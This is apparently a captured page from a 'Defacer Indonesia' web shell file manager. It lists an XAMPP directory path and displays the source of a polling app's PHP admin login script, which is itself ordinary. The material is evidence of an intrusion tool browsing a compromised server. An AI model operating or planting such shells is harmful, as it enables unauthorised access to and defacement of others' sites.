MINI
C:
/
xampp
/
htdocs
/
polling_rt
/
admin
/
Upload File:
files >> C:/xampp/htdocs/polling_rt/admin/login.php
<?php session_start(); require '../inc/db.php'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $user = $_POST['username'] ?? ''; $pass = $_POST['password'] ?? ''; $stmt = $mysqli->prepare('SELECT id, password_hash FROM admin WHERE username = ?'); $stmt->bind_param('s',$user); $stmt->execute(); $stmt->bind_result($id,$hash); if ($stmt->fetch() && password_verify($pass, $hash)) { $_SESSION['admin_logged_in'] = true; $_SESSION['admin_id'] = $id; header('Location: dashboard.php'); exit; } else { $err = 'Login gagal'; } } ?> <!doctype html> <html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Admin Login</title></head> <body> <h2>Login Admin</h2> <?php if(!empty($err)) echo '<p>'.htmlspecialchars($err).'</p>'; ?> <form method="post"> <input name="username" placeholder="username"><br> <input name="password" type="password" placeholder="password"><br> <button>Login</button> </form> </body></html>
Copyright ©2021 || Defacer Indonesia